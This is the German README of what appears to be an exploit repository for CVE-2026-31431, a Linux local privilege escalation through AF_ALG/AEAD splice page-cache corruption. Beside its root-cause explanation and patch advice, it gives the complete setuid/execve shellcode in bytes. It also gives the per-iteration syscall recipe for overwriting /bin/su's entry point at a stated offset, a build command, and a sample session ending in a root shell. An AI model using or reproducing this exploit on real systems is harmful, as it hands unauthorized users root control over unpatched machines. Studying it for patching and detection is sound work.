
Minimaler 587-Byte-ELF-Exploit für CVE-2026-31431, der lokale Privilegieneskalation über AF_ALG-Splice-Page-Cache-Korruption erreicht. Keine libc- oder Laufzeitabhängigkeiten.
Diesen Bug habe ich nicht gefunden. Die Anerkennung gebührt Xint Code / Theori.
Dieses Repo ist mein Ansatz, den Exploit so klein wie möglich zu machen – ein handgebautes x86_64-ELF, das die vollständige LPE in 587 Bytes durchführt. Kein libc, kein Linker, keine Laufzeit. Nur NASM und Sturheit.
Im Kern liefert dir der Kernel eine Schreib-Primitive in den Page Cache jeder lesbaren Datei über AF_ALG + splice. Richte sie auf den Einstiegspunkt einer setuid-Binary, schreibe Shellcode, führe die Binary aus, root.
Zur Einordnung der Größe: Der ursprüngliche öffentliche Copy-Fail-Beitrag enthielt eine winzige Python-Version mit 732 Bytes. Das ist extrem stark, aber sie hängt immer noch von der vorhandenen Python-Laufzeit ab. Noch kleiner ist https://kopy.fail mit 524 Bytes. Dieses hier jedoch ist ein rohes statisches ELF: kein Interpreter, kein libc, kein Linker, kein dynamischer Lader. (meine Mama sagt, das ist cool)
| CVE | CVE-2026-31431 |
| Bug-Klasse | Page-Cache-Korruption durch splice-Aliasing |
| Grundursache | af_alg_sendpage / splice in AEAD-Request aliased Page-Cache-Seiten in Crypto-Scatter-Gather-Ausgabe |
| Komponente | crypto/af_alg.c + crypto/algif_aead.c |
| Auswirkung | Kontrollierte Bytes in den Page Cache jeder lesbaren Datei schreiben |
| Voraussetzung | Lokaler Benutzer, erreichbare AF_ALG/AEAD-Unterstützung, lesbares setuid-Ziel |
| Exploit | 587-Byte-ELF (statisch, x86_64), einzelne Datei, null Abhängigkeiten |
AF_ALG erlaubt Userspace, Kernel-Krypto über Sockets zu betreiben. Für AEAD-Chiffren wie
authencesn akzeptiert der Kernel Daten über sendmsg mit MSG_MORE, dann kannst du
weitere Daten von einem Dateideskriptor hinein-splicen.
Der verfluchte Teil: Wenn du eine Datei hinein-splicest, pinnt der Kernel die Page-Cache-Seiten der Datei direkt in die Crypto-Scatter-Gather-Liste. Die AEAD-Operation schreibt ihre Ausgabe dann zurück in genau diese Seiten. Der Kernel denkt, er habe Krypto einen Lesepuffer gegeben. Krypto denkt, es habe einen Schreibpuffer bekommen. Niemand kopiert.
Die Bytes, die du als AAD-Metadaten einspeist, werden durch den Page Cache sichtbar. Jedes anschließende Lesen dieser Datei – durch jeden Prozess, jeden Benutzer, einschließlich suid- exec – sieht die korrupten Daten. Die Datei auf der Platte bleibt unberührt. Nur die Ansicht des In-Memory-Page-Caches ändert sich.
Copy Fail ist der Page-Cache/COW-Familienfluch im AF_ALG-Gewand. Gleiche Abstammung wie Dirty COW (CVE-2016-5195) – „der Kernel ließ dich in etwas schreiben, das du nur lesen können solltest“ – aber über den Crypto-Splice-Pfad statt über madvise/write-Racing.
Ziel: /bin/su auf Debian Bookworm (einschließlich kernelCTF-Rootfs). Der ELF-Einstiegspunkt
liegt bei Datei-Offset 0x3910.
28 Bytes Shellcode verwandeln es in einen Root-Shell-Dropper:
; setuid(0) – 7 Bytes
31 ff xor edi, edi
6a 69 push 105
58 pop rax
0f 05 syscall
; execve("/bin/sh", NULL, NULL) – 21 Bytes
99 cdq
31 f6 xor esi, esi
48 bb 2f 62 69 6e 2f 73 68 00 movabs rbx, "/bin/sh\0"
53 push rbx
54 push rsp
5f pop rdi
6a 3b push 59
58 pop rax
0f 05 syscall
Die AEAD-Primitive gibt dir nur 4 Bytes pro Operation – ein 32-Bit-Stück der AAD landet am Splice-Offset. 28 Bytes Shellcode ÷ 4 = 7 Durchläufe durch den Kernel-Krypto-Stack. Jede Iteration:
socket(AF_ALG) + bind mit authencesn(hmac(sha1),cbc(aes))setsockopt, um den Schlüssel und die Auth-Tag-Größe zu setzenaccept, um den Request-fd zu erhaltensendmsg mit MSG_MORE – das 8-Byte-iov enthält 4 Bytes AAD-Füller + 4 Bytes Shellcodesplice von /bin/su durch eine Pipe in den Request-fd (positioniert die Page-Cache-Seiten)recvfrom – löst die AEAD-Verarbeitung aus, korrumpiert den Page CacheNach allen 7 Iterationen: execve("/bin/su"). Der Kernel lädt es aus dem
korrumpierten Page Cache. Die Ausführung springt zum überschriebenen Einstiegspunkt. Root-
Shell.
587 Bytes insgesamt. 120 davon sind der ELF-Header (ohne ihn lädt dich der Kernel nicht), die eigentliche Exploit-Logik sind also 467 Bytes Maschinencode + Daten.
Hier ist, wo die Dinge im ELF-Header liegen:
Offset Feld Tatsächliche Nutzung
------ ----- ----------
0x00 e_ident[0:8] Magic + ELF-Klasse (Pflicht)
0x08 e_ident[8:16] Krypto-Schlüsselmaterial (Kernel ignoriert diese Bytes)
0x28 e_shoff "/bin/su\0"-String (Kernel ignoriert für ET_EXEC)
Der Kernel schaut nur auf e_ident[0:7], e_type, e_machine, e_entry,
e_phoff, e_phnum und den phdr selbst. Alles andere ist freie Nutzfläche.
Weitere Größen-Tricks:
push imm8 / pop rax / syscall (je 3 Bytes)Die erste funktionierende Version hatte 584 Bytes. Sie nutzte mov ax, 275 für den zweiten
Splice-Aufruf (2 Bytes kürzer als mov eax, 275). Das ist eine Wette darauf, dass der erste
Splice immer erfolgreich ist – wenn er einen negativen Fehler zurückgibt, bleiben die oberen 48 Bits von
rax gesetzt, und mov ax, 275 überschreibt nur die unteren 16. Dann ist die Syscall-Nummer
des zweiten Splices Müll.
Auf meinem Test-Kernel funktionierte es immer. Aber „funktioniert im Test immer“ ist ein schlechter Grund, einen Bug auszuliefern, und wenn jemand das auf einem System trifft, wo splice unter Speicherdruck EAGAIN zurückgibt, segfaultet der Exploit einfach ohne Hinweis darauf, was schiefging. Also die 3 Extra-Bytes geschluckt.
Außerdem musste xor esi, esi vor dem finalen execve ergänzt werden, weil recvfrom
rsi mit der Pufferadresse überschreibt. Ohne das bekommt execve einen Müll-argv-Zeiger.
Noch ein Byte.
nasm -f bin -o copy_fail_v3 copy_fail_v3.asm && chmod +x copy_fail_v3
Erfordert NASM. Erzeugt die Exploit-Binary direkt – kein Link-Schritt.
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ ./copy_fail_v3
# id
uid=0(root) gid=0(root) groups=0(root)
Dauert unter einer Sekunde. Keine Ausgabe bei Erfolg – nur eine Root-Shell.
Benötigt CONFIG_CRYPTO_USER_API_AEAD (eingebaut oder als geladenes Modul) und den
ungefixten In-Place-Splice-Pfad in algif_aead. Der fehlerhafte Codepfad stammt aus einer
Optimierung von 2017. Prüfe die Kernel-Konfiguration und den Patch-Status deiner Distribution.
Der Fix tötet den In-Place-Pfad und kopiert die Splice-Quellseiten, statt sie in die Crypto-Scatter-Gather-Liste zu aliassen. Die Page-Cache-Isolation ist wiederhergestellt.
Das ist ein KernelCTF/Lab-Artefakt. Führe es auf Systemen aus, die dir gehören oder für die du ausdrückliche Testgenehmigung hast. Wenn du Linux-Systeme verteidigst, patche den Kernel oder schränke das Laden des AF_ALG/algif_aead-Moduls ein.
Daniel Wade – GitHub · Twitter/X · Bluesky · nadsec.online